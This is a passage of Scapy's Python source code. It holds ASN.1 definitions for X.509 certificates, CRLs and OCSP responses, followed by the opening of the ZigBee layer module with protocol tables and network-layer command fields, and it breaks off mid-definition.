[ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING("subjectPublicKey", None)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) def m2i(self, pkt, x): c, s = ASN1F_SEQUENCE.m2i(self, pkt, x) keytype = pkt.fields["signatureAlgorithm"].algorithm.oidname if "rsa" in keytype.lower(): return ASN1F_X509_SubjectPublicKeyInfoRSA().m2i(pkt, x) elif keytype == "ecPublicKey": return ASN1F_X509_SubjectPublicKeyInfoECDSA().m2i(pkt, x) else: raise Exception("could not parse subjectPublicKeyInfo") def dissect(self, pkt, s): c, x = self.m2i(pkt, s) return x def build(self, pkt): if "signatureAlgorithm" in pkt.fields: ktype = pkt.fields['signatureAlgorithm'].algorithm.oidname else: ktype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname if "rsa" in ktype.lower(): pkt.default_fields["subjectPublicKey"] = RSAPublicKey() return ASN1F_X509_SubjectPublicKeyInfoRSA().build(pkt) elif ktype == "ecPublicKey": pkt.default_fields["subjectPublicKey"] = ECDSAPublicKey() return ASN1F_X509_SubjectPublicKeyInfoECDSA().build(pkt) else: raise Exception("could not build subjectPublicKeyInfo") class X509_SubjectPublicKeyInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_X509_SubjectPublicKeyInfo() # OpenSSL compatibility wrappers # # XXX As ECDSAPrivateKey already uses the structure from RFC 5958, # and as we would prefer encapsulated RSA private keys to be parsed, # this lazy implementation actually supports RSA encoding only. # We'd rather call it RSAPrivateKey_OpenSSL than X509_PrivateKeyInfo. class RSAPrivateKey_OpenSSL(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 0, ["v1", "v2"]), ASN1F_PACKET("privateKeyAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_PACKET("privateKey", RSAPrivateKey(), RSAPrivateKey, explicit_tag=0x04), ASN1F_optional( ASN1F_PACKET("parameters", None, ECParameters, explicit_tag=0xa0)), ASN1F_optional( ASN1F_PACKET("publicKey", None, ECDSAPublicKey, explicit_tag=0xa1))) # We need this hack because ECParameters parsing below must return # a Padding payload, and making the ASN1_Packet class have Padding # instead of Raw payload would break things... class _PacketFieldRaw(PacketField): def getfield(self, pkt, s): i = self.m2i(pkt, s) remain = "" if conf.raw_layer in i: r = i[conf.raw_layer] del(r.underlayer.payload) remain = r.load return remain, i class ECDSAPrivateKey_OpenSSL(Packet): name = "ECDSA Params + Private Key" fields_desc = [_PacketFieldRaw("ecparam", ECParameters(), ECParameters), PacketField("privateKey", ECDSAPrivateKey(), ECDSAPrivateKey)] # TBSCertificate & Certificate # _default_issuer = [ X509_RDN(), X509_RDN( rdn=[X509_AttributeTypeAndValue( type="2.5.4.10", value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]), X509_RDN( rdn=[X509_AttributeTypeAndValue( type="2.5.4.3", value=ASN1_PRINTABLE_STRING("Scapy Default Issuer"))]) ] _default_subject = [ X509_RDN(), X509_RDN( rdn=[X509_AttributeTypeAndValue( type="2.5.4.10", value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]), X509_RDN( rdn=[X509_AttributeTypeAndValue( type="2.5.4.3", value=ASN1_PRINTABLE_STRING("Scapy Default Subject"))]) ] class X509_Validity(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_CHOICE("not_before", ASN1_UTC_TIME(str(ZuluTime(-600))), ASN1F_UTC_TIME, ASN1F_GENERALIZED_TIME), ASN1F_CHOICE("not_after", ASN1_UTC_TIME(str(ZuluTime(+86400))), ASN1F_UTC_TIME, ASN1F_GENERALIZED_TIME)) _attrName_mapping = [ ("countryName", "C"), ("stateOrProvinceName", "ST"), ("localityName", "L"), ("organizationName", "O"), ("organizationUnitName", "OU"), ("commonName", "CN") ] _attrName_specials = [name for name, symbol in _attrName_mapping] class X509_TBSCertificate(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_enum_INTEGER("version", 0x2, ["v1", "v2", "v3"], explicit_tag=0xa0)), ASN1F_INTEGER("serialNumber", 1), ASN1F_PACKET("signature", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_SEQUENCE_OF("issuer", _default_issuer, X509_RDN), ASN1F_PACKET("validity", X509_Validity(), X509_Validity), ASN1F_SEQUENCE_OF("subject", _default_subject, X509_RDN), ASN1F_PACKET("subjectPublicKeyInfo", X509_SubjectPublicKeyInfo(), X509_SubjectPublicKeyInfo), ASN1F_optional( ASN1F_BIT_STRING("issuerUniqueID", None, implicit_tag=0x81)), ASN1F_optional( ASN1F_BIT_STRING("subjectUniqueID", None, implicit_tag=0x82)), ASN1F_optional( ASN1F_SEQUENCE_OF("extensions", [X509_Extension()], X509_Extension, explicit_tag=0xa3))) def get_issuer(self): attrs = self.issuer attrsDict = {} for attr in attrs: # we assume there is only one name in each rdn ASN1_SET attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val) # noqa: E501 return attrsDict def get_issuer_str(self): """ Returns a one-line string containing every type/value in a rather specific order. sorted() built-in ensures unicity. """ name_str = "" attrsDict = self.get_issuer() for attrType, attrSymbol in _attrName_mapping: if attrType in attrsDict: name_str += "/" + attrSymbol + "=" name_str += attrsDict[attrType] for attrType in sorted(attrsDict): if attrType not in _attrName_specials: name_str += "/" + attrType + "=" name_str += attrsDict[attrType] return name_str def get_subject(self): attrs = self.subject attrsDict = {} for attr in attrs: # we assume there is only one name in each rdn ASN1_SET attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val) # noqa: E501 return attrsDict def get_subject_str(self): name_str = "" attrsDict = self.get_subject() for attrType, attrSymbol in _attrName_mapping: if attrType in attrsDict: name_str += "/" + attrSymbol + "=" name_str += attrsDict[attrType] for attrType in sorted(attrsDict): if attrType not in _attrName_specials: name_str += "/" + attrType + "=" name_str += attrsDict[attrType] return name_str class ASN1F_X509_CertECDSA(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsCertificate", X509_TBSCertificate(), X509_TBSCertificate), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING_ENCAPS("signatureValue", ECDSASignature(), ECDSASignature)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class ASN1F_X509_Cert(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsCertificate", X509_TBSCertificate(), X509_TBSCertificate), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING("signatureValue", "defaultsignature" * 2)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) def m2i(self, pkt, x): c, s = ASN1F_SEQUENCE.m2i(self, pkt, x) sigtype = pkt.fields["signatureAlgorithm"].algorithm.oidname if "rsa" in sigtype.lower(): return c, s elif "ecdsa" in sigtype.lower(): return ASN1F_X509_CertECDSA().m2i(pkt, x) else: raise Exception("could not parse certificate") def dissect(self, pkt, s): c, x = self.m2i(pkt, s) return x def build(self, pkt): if "signatureAlgorithm" in pkt.fields: sigtype = pkt.fields['signatureAlgorithm'].algorithm.oidname else: sigtype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname # noqa: E501 if "rsa" in sigtype.lower(): return ASN1F_SEQUENCE.build(self, pkt) elif "ecdsa" in sigtype.lower(): pkt.default_fields["signatureValue"] = ECDSASignature() return ASN1F_X509_CertECDSA().build(pkt) else: raise Exception("could not build certificate") class X509_Cert(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_X509_Cert() # TBSCertList & CRL # class X509_RevokedCertificate(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE(ASN1F_INTEGER("serialNumber", 1), ASN1F_UTC_TIME("revocationDate", str(ZuluTime(+86400))), ASN1F_optional( ASN1F_SEQUENCE_OF("crlEntryExtensions", None, X509_Extension))) class X509_TBSCertList(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_enum_INTEGER("version", 1, ["v1", "v2"])), ASN1F_PACKET("signature", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_SEQUENCE_OF("issuer", _default_issuer, X509_RDN), ASN1F_UTC_TIME("this_update", str(ZuluTime(-1))), ASN1F_optional( ASN1F_UTC_TIME("next_update", None)), ASN1F_optional( ASN1F_SEQUENCE_OF("revokedCertificates", None, X509_RevokedCertificate)), ASN1F_optional( ASN1F_SEQUENCE_OF("crlExtensions", None, X509_Extension, explicit_tag=0xa0))) def get_issuer(self): attrs = self.issuer attrsDict = {} for attr in attrs: # we assume there is only one name in each rdn ASN1_SET attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val) # noqa: E501 return attrsDict def get_issuer_str(self): """ Returns a one-line string containing every type/value in a rather specific order. sorted() built-in ensures unicity. """ name_str = "" attrsDict = self.get_issuer() for attrType, attrSymbol in _attrName_mapping: if attrType in attrsDict: name_str += "/" + attrSymbol + "=" name_str += attrsDict[attrType] for attrType in sorted(attrsDict): if attrType not in _attrName_specials: name_str += "/" + attrType + "=" name_str += attrsDict[attrType] return name_str class ASN1F_X509_CRLECDSA(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsCertList", X509_TBSCertList(), X509_TBSCertList), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING_ENCAPS("signatureValue", ECDSASignature(), ECDSASignature)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class ASN1F_X509_CRL(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsCertList", X509_TBSCertList(), X509_TBSCertList), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING("signatureValue", "defaultsignature" * 2)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) def m2i(self, pkt, x): c, s = ASN1F_SEQUENCE.m2i(self, pkt, x) sigtype = pkt.fields["signatureAlgorithm"].algorithm.oidname if "rsa" in sigtype.lower(): return c, s elif "ecdsa" in sigtype.lower(): return ASN1F_X509_CRLECDSA().m2i(pkt, x) else: raise Exception("could not parse certificate") def dissect(self, pkt, s): c, x = self.m2i(pkt, s) return x def build(self, pkt): if "signatureAlgorithm" in pkt.fields: sigtype = pkt.fields['signatureAlgorithm'].algorithm.oidname else: sigtype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname # noqa: E501 if "rsa" in sigtype.lower(): return ASN1F_SEQUENCE.build(self, pkt) elif "ecdsa" in sigtype.lower(): pkt.default_fields["signatureValue"] = ECDSASignature() return ASN1F_X509_CRLECDSA().build(pkt) else: raise Exception("could not build certificate") class X509_CRL(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_X509_CRL() ############################# # OCSP Status packets # ############################# # based on RFC 6960 class OCSP_CertID(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("hashAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_STRING("issuerNameHash", ""), ASN1F_STRING("issuerKeyHash", ""), ASN1F_INTEGER("serialNumber", 0)) class OCSP_GoodInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_NULL("info", 0) class OCSP_RevokedInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_GENERALIZED_TIME("revocationTime", ""), ASN1F_optional( ASN1F_PACKET("revocationReason", None, X509_ExtReasonCode, explicit_tag=0x80))) class OCSP_UnknownInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_NULL("info", 0) class OCSP_CertStatus(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("certStatus", None, ASN1F_PACKET("good", OCSP_GoodInfo(), OCSP_GoodInfo, implicit_tag=0x80), ASN1F_PACKET("revoked", OCSP_RevokedInfo(), OCSP_RevokedInfo, implicit_tag=0xa1), ASN1F_PACKET("unknown", OCSP_UnknownInfo(), OCSP_UnknownInfo, implicit_tag=0x82)) class OCSP_SingleResponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("certID", OCSP_CertID(), OCSP_CertID), ASN1F_PACKET("certStatus", OCSP_CertStatus(), OCSP_CertStatus), ASN1F_GENERALIZED_TIME("thisUpdate", ""), ASN1F_optional( ASN1F_GENERALIZED_TIME("nextUpdate", "", explicit_tag=0xa0)), ASN1F_optional( ASN1F_SEQUENCE_OF("singleExtensions", None, X509_Extension, explicit_tag=0xa1))) class OCSP_ByName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("byName", [], X509_RDN) class OCSP_ByKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_STRING("byKey", "") class OCSP_ResponderID(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("responderID", None, ASN1F_PACKET("byName", OCSP_ByName(), OCSP_ByName, explicit_tag=0xa1), ASN1F_PACKET("byKey", OCSP_ByKey(), OCSP_ByKey, explicit_tag=0xa2)) class OCSP_ResponseData(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_enum_INTEGER("version", 0, {0: "v1"}, explicit_tag=0x80)), ASN1F_PACKET("responderID", OCSP_ResponderID(), OCSP_ResponderID), ASN1F_GENERALIZED_TIME("producedAt", str(GeneralizedTime())), ASN1F_SEQUENCE_OF("responses", [], OCSP_SingleResponse), ASN1F_optional( ASN1F_SEQUENCE_OF("responseExtensions", None, X509_Extension, explicit_tag=0xa1))) class ASN1F_OCSP_BasicResponseECDSA(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsResponseData", OCSP_ResponseData(), OCSP_ResponseData), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING_ENCAPS("signature", ECDSASignature(), ECDSASignature), ASN1F_optional( ASN1F_SEQUENCE_OF("certs", None, X509_Cert, explicit_tag=0xa0))] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class ASN1F_OCSP_BasicResponse(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsResponseData", OCSP_ResponseData(), OCSP_ResponseData), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING("signature", "defaultsignature" * 2), ASN1F_optional( ASN1F_SEQUENCE_OF("certs", None, X509_Cert, explicit_tag=0xa0))] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) def m2i(self, pkt, x): c, s = ASN1F_SEQUENCE.m2i(self, pkt, x) sigtype = pkt.fields["signatureAlgorithm"].algorithm.oidname if "rsa" in sigtype.lower(): return c, s elif "ecdsa" in sigtype.lower(): return ASN1F_OCSP_BasicResponseECDSA().m2i(pkt, x) else: raise Exception("could not parse OCSP basic response") def dissect(self, pkt, s): c, x = self.m2i(pkt, s) return x def build(self, pkt): if "signatureAlgorithm" in pkt.fields: sigtype = pkt.fields['signatureAlgorithm'].algorithm.oidname else: sigtype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname # noqa: E501 if "rsa" in sigtype.lower(): return ASN1F_SEQUENCE.build(self, pkt) elif "ecdsa" in sigtype.lower(): pkt.default_fields["signatureValue"] = ECDSASignature() return ASN1F_OCSP_BasicResponseECDSA().build(pkt) else: raise Exception("could not build OCSP basic response") class OCSP_ResponseBytes(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("responseType", "1.3.6.1.5.5.7.48.1.1"), ASN1F_OCSP_BasicResponse(explicit_tag=0x04)) _responseStatus_mapping = ["successful", "malformedRequest", "internalError", "tryLater", "notUsed", "sigRequired", "unauthorized"] class OCSP_Response(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_ENUMERATED("responseStatus", 0, _responseStatus_mapping), ASN1F_optional( ASN1F_PACKET("responseBytes", None, OCSP_ResponseBytes, explicit_tag=0xa0))) scapy-2.4.4/scapy/layers/zigbee.py000066400000000000000000001374501372370053500171140ustar00rootroot00000000000000# This program is published under a GPLv2 license # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Ryan Speers 2011-2012 # Copyright (C) Roger Meyer : 2012-03-10 Added frames # Copyright (C) Gabriel Potter : 2018 # Copyright (C) 2020 Dimitrios-Georgios Akestoridis # This program is published under a GPLv2 license """ ZigBee bindings for IEEE 802.15.4. """ import struct from scapy.compat import orb from scapy.packet import bind_layers, bind_bottom_up, Packet from scapy.fields import BitField, ByteField, XLEIntField, ConditionalField, \ ByteEnumField, EnumField, BitEnumField, FieldListField, FlagsField, \ IntField, PacketListField, ShortField, StrField, StrFixedLenField, \ StrLenField, XLEShortField, XStrField from scapy.layers.dot15d4 import dot15d4AddressField, Dot15d4Beacon, Dot15d4, \ Dot15d4FCS from scapy.layers.inet import UDP from scapy.layers.ntp import TimeStampField # ZigBee Cluster Library Identifiers, Table 2.2 ZCL _zcl_cluster_identifier = { # Functional Domain: General 0x0000: "basic", 0x0001: "power_configuration", 0x0002: "device_temperature_configuration", 0x0003: "identify", 0x0004: "groups", 0x0005: "scenes", 0x0006: "on_off", 0x0007: "on_off_switch_configuration", 0x0008: "level_control", 0x0009: "alarms", 0x000a: "time", 0x000b: "rssi_location", 0x000c: "analog_input", 0x000d: "analog_output", 0x000e: "analog_value", 0x000f: "binary_input", 0x0010: "binary_output", 0x0011: "binary_value", 0x0012: "multistate_input", 0x0013: "multistate_output", 0x0014: "multistate_value", 0x0015: "commissioning", # 0x0016 - 0x00ff reserved # Functional Domain: Closures 0x0100: "shade_configuration", # 0x0101 - 0x01ff reserved # Functional Domain: HVAC 0x0200: "pump_configuration_and_control", 0x0201: "thermostat", 0x0202: "fan_control", 0x0203: "dehumidification_control", 0x0204: "thermostat_user_interface_configuration", # 0x0205 - 0x02ff reserved # Functional Domain: Lighting 0x0300: "color_control", 0x0301: "ballast_configuration", # Functional Domain: Measurement and sensing 0x0400: "illuminance_measurement", 0x0401: "illuminance_level_sensing", 0x0402: "temperature_measurement", 0x0403: "pressure_measurement", 0x0404: "flow_measurement", 0x0405: "relative_humidity_measurement", 0x0406: "occupancy_sensing", # Functional Domain: Security and safethy 0x0500: "ias_zone", 0x0501: "ias_ace", 0x0502: "ias_wd", # Functional Domain: Protocol Interfaces 0x0600: "generic_tunnel", 0x0601: "bacnet_protocol_tunnel", 0x0602: "analog_input_regular", 0x0603: "analog_input_extended", 0x0604: "analog_output_regular", 0x0605: "analog_output_extended", 0x0606: "analog_value_regular", 0x0607: "analog_value_extended", 0x0608: "binary_input_regular", 0x0609: "binary_input_extended", 0x060a: "binary_output_regular", 0x060b: "binary_output_extended", 0x060c: "binary_value_regular", 0x060d: "binary_value_extended", 0x060e: "multistate_input_regular", 0x060f: "multistate_input_extended", 0x0610: "multistate_output_regular", 0x0611: "multistate_output_extended", 0x0612: "multistate_value_regular", 0x0613: "multistate_value", # Smart Energy Profile Clusters 0x0700: "price", 0x0701: "demand_response_and_load_control", 0x0702: "metering", 0x0703: "messaging", 0x0704: "smart_energy_tunneling", 0x0705: "prepayment", # Functional Domain: General # Key Establishment 0x0800: "key_establishment", } # ZigBee stack profiles _zcl_profile_identifier = { 0x0000: "ZigBee_Stack_Profile_1", 0x0101: "IPM_Industrial_Plant_Monitoring", 0x0104: "HA_Home_Automation", 0x0105: "CBA_Commercial_Building_Automation", 0x0107: "TA_Telecom_Applications", 0x0108: "HC_Health_Care", 0x0109: "SE_Smart_Energy_Profile", } # ZigBee Cluster Library, Table 2.8 ZCL Command Frames _zcl_command_frames = { 0x00: "read_attributes", 0x01: "read_attributes_response", 0x02: "write_attributes_response", 0x03: "write_attributes_undivided", 0x04: "write_attributes_response", 0x05: "write_attributes_no_response", 0x06: "configure_reporting", 0x07: "configure_reporting_response", 0x08: "read_reporting_configuration", 0x09: "read_reporting_configuration_response", 0x0a: "report_attributes", 0x0b: "default_response", 0x0c: "discover_attributes", 0x0d: "discover_attributes_response", # 0x0e - 0xff Reserved } # ZigBee Cluster Library, Table 2.16 Enumerated Status Values _zcl_enumerated_status_values = { 0x00: "SUCCESS", 0x02: "FAILURE", # 0x02 - 0x7f Reserved 0x80: "MALFORMED_COMMAND", 0x81: "UNSUP_CLUSTER_COMMAND", 0x82: "UNSUP_GENERAL_COMMAND", 0x83: "UNSUP_MANUF_CLUSTER_COMMAND", 0x84: "UNSUP_MANUF_GENERAL_COMMAND", 0x85: "INVALID_FIELD", 0x86: "UNSUPPORTED_ATTRIBUTE", 0x87: "INVALID_VALUE", 0x88: "READ_ONLY", 0x89: "INSUFFICIENT_SPACE", 0x8a: "DUPLICATE_EXISTS", 0x8b: "NOT_FOUND", 0x8c: "UNREPORTABLE_ATTRIBUTE", 0x8d: "INVALID_DATA_TYPE", # 0x8e - 0xbf Reserved 0xc0: "HARDWARE_FAILURE", 0xc1: "SOFTWARE_FAILURE", 0xc2: "CALIBRATION_ERROR", # 0xc3 - 0xff Reserved } # ZigBee Cluster Library, Table 2.15 Data Types _zcl_attribute_data_types = { 0x00: "no_data", # General data 0x08: "8-bit_data", 0x09: "16-bit_data", 0x0a: "24-bit_data", 0x0b: "32-bit_data", 0x0c: "40-bit_data", 0x0d: "48-bit_data", 0x0e: "56-bit_data", 0x0f: "64-bit_data", # Logical 0x10: "boolean", # Bitmap 0x18: "8-bit_bitmap", 0x19: "16-bit_bitmap", 0x1a: "24-bit_bitmap", 0x1b: "32-bit_bitmap", 0x1c: "40-bit_bitmap", 0x1d: "48-bit_bitmap", 0x1e: "56-bit_bitmap", 0x1f: "64-bit_bitmap", # Unsigned integer 0x20: "Unsigned_8-bit_integer", 0x21: "Unsigned_16-bit_integer", 0x22: "Unsigned_24-bit_integer", 0x23: "Unsigned_32-bit_integer", 0x24: "Unsigned_40-bit_integer", 0x25: "Unsigned_48-bit_integer", 0x26: "Unsigned_56-bit_integer", 0x27: "Unsigned_64-bit_integer", # Signed integer 0x28: "Signed_8-bit_integer", 0x29: "Signed_16-bit_integer", 0x2a: "Signed_24-bit_integer", 0x2b: "Signed_32-bit_integer", 0x2c: "Signed_40-bit_integer", 0x2d: "Signed_48-bit_integer", 0x2e: "Signed_56-bit_integer", 0x2f: "Signed_64-bit_integer", # Enumeration 0x30: "8-bit_enumeration", 0x31: "16-bit_enumeration", # Floating point 0x38: "semi_precision", 0x39: "single_precision", 0x3a: "double_precision", # String 0x41: "octet-string", 0x42: "character_string", 0x43: "long_octet_string", 0x44: "long_character_string", # Ordered sequence 0x48: "array", 0x4c: "structure", # Collection 0x50: "set", 0x51: "bag", # Time 0xe0: "time_of_day", 0xe1: "date", 0xe2: "utc_time", # Identifier 0xe8: "cluster_id", 0xe9: "attribute_id", 0xea: "bacnet_oid", # Miscellaneous 0xf0: "ieee_address", 0xf1: "128-bit_security_key", # Unknown 0xff: "unknown", } # ZigBee # class ZigbeeNWK(Packet): name = "Zigbee Network Layer" fields_desc = [ BitField("discover_route", 0, 2), BitField("proto_version", 2, 4), BitEnumField("frametype", 0, 2, {0: 'data', 1: 'command'}), FlagsField("flags", 0, 8, ['multicast', 'security', 'source_route', 'extended_dst', 'extended_src', 'reserved1', 'reserved2', 'reserved3']), # noqa: E501 XLEShortField("destination", 0), XLEShortField("source", 0), ByteField("radius", 0), ByteField("seqnum", 1), # ConditionalField(XLongField("ext_dst", 0), lambda pkt:pkt.flags & 8), ConditionalField(dot15d4AddressField("ext_dst", 0, adjust=lambda pkt, x: 8), lambda pkt:pkt.flags & 8), # noqa: E501 ConditionalField(dot15d4AddressField("ext_src", 0, adjust=lambda pkt, x: 8), lambda pkt:pkt.flags & 16), # noqa: E501 ConditionalField(ByteField("relay_count", 1), lambda pkt:pkt.flags & 0x04), # noqa: E501 ConditionalField(ByteField("relay_index", 0), lambda pkt:pkt.flags & 0x04), # noqa: E501 ConditionalField(FieldListField("relays", [], XLEShortField("", 0x0000), count_from=lambda pkt:pkt.relay_count), lambda pkt:pkt.flags & 0x04), # noqa: E501 ] def guess_payload_class(self, payload): if self.flags & 0x02: return ZigbeeSecurityHeader elif self.frametype == 0: return ZigbeeAppDataPayload elif self.frametype == 1: return ZigbeeNWKCommandPayload else: return Packet.guess_payload_class(self, payload) class LinkStatusEntry(Packet): name = "ZigBee Link Status Entry" fields_desc = [ # Neighbor network address (2 octets) XLEShortField("neighbor_network_address", 0x0000), # Link status (1 octet) BitField("reserved1", 0, 1), BitField("outgoing_cost", 0, 3), BitField("reserved2", 0, 1), BitField("incoming_cost", 0, 3), ] def extract_padding(self, p): return b"", p class ZigbeeNWKCommandPayload(Packet): name = "Zigbee Network Layer Command Payload" fields_desc = [ ByteEnumField("cmd_identifier", 1, { 1: "route request", 2: "route reply", 3: "network status", 4: "leave", 5: "route record", 6: "rejoin request", 7: "rejoin response", 8: "link status", 9: "network report", 10: "network update", 11: "end device timeout request", 12: "end device timeout response" # 0x0d - 0xff reserved }), # - Route Request Command - # # Command options (1 octet) ConditionalField(BitField("reserved", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 ConditionalField(BitField("multicast", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 ConditionalField(BitField("dest_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 ConditionalField( BitEnumField("many_to_one", 0, 2, { 0: "not_m2one", 1: "m2one_support_rrt", 2: "m2one_no_support_rrt", 3: "reserved"} # noqa: E501 ), lambda pkt: pkt.cmd_identifier == 1), ConditionalField(BitField("reserved", 0, 3), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 # Route request identifier (1 octet) ConditionalField(ByteField("route_request_identifier", 0), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 # Destination address (2 octets) ConditionalField(XLEShortField("destination_address", 0x0000), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 # Path cost (1 octet) ConditionalField(ByteField("path_cost", 0), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 # Destination IEEE Address (0/8 octets), only present when dest_addr_bit has a value of 1 # noqa: E501 ConditionalField(dot15d4AddressField("ext_dst", 0, adjust=lambda pkt, x: 8), # noqa: E501 lambda pkt: (pkt.cmd_identifier == 1 and pkt.dest_addr_bit == 1)), # noqa: E501 # - Route Reply Command - # # Command options (1 octet) ConditionalField(BitField("reserved", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 ConditionalField(BitField("multicast", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 ConditionalField(BitField("responder_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 ConditionalField(BitField("originator_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 ConditionalField(BitField("reserved", 0, 4), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 # Route request identifier (1 octet) ConditionalField(ByteField("route_request_identifier", 0), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 # Originator address (2 octets) ConditionalField(XLEShortField("originator_address", 0x0000), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 # Responder address (2 octets) ConditionalField(XLEShortField("responder_address", 0x0000), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 # Path cost (1 octet) ConditionalField(ByteField("path_cost", 0), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 # Originator IEEE address (0/8 octets) ConditionalField(dot15d4AddressField("originator_addr", 0, adjust=lambda pkt, x: 8), # noqa: E501 lambda pkt: (pkt.cmd_identifier == 2 and pkt.originator_addr_bit == 1)), # noqa: E501 # Responder IEEE address (0/8 octets) ConditionalField(dot15d4AddressField("responder_addr", 0, adjust=lambda pkt, x: 8), # noqa: E501 lambda pkt: (pkt.cmd_identifier == 2 and pkt.responder_addr_bit == 1)), # noqa: E501 # - Network Status Command - # # Status code (1 octet) ConditionalField(ByteEnumField("status_code", 0, { 0x00: "No route available", 0x01: "Tree link failure", 0x02: "Non-tree link failure", 0x03: "Low battery level", 0x04: "No routing capacity", 0x05: "No indirect capacity", 0x06: "Indirect transaction expiry", 0x07: "Target device unavailable", 0x08: "Target address unallocated", 0x09: "Parent link failure", 0x0a: "Validate route", 0x0b: "Source route failure", 0x0c: "Many-to-one route failure", 0x0d: "Address conflict", 0x0e: "Verify addresses", 0x0f: "PAN identifier update", 0x10: "Network address update", 0x11: "Bad frame counter", 0x12: "Bad key sequence number", # 0x13 - 0xff Reserved }), lambda pkt: pkt.cmd_identifier == 3), # Destination address (2 octets) ConditionalField(XLEShortField("destination_address", 0x0000), lambda pkt: pkt.cmd_identifier == 3), # noqa: E501 # - Leave Command - # # Command options (1 octet) # Bit 7: Remove children ConditionalField(BitField("remove_children", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 # Bit 6: Request ConditionalField(BitField("request", 0, 1), 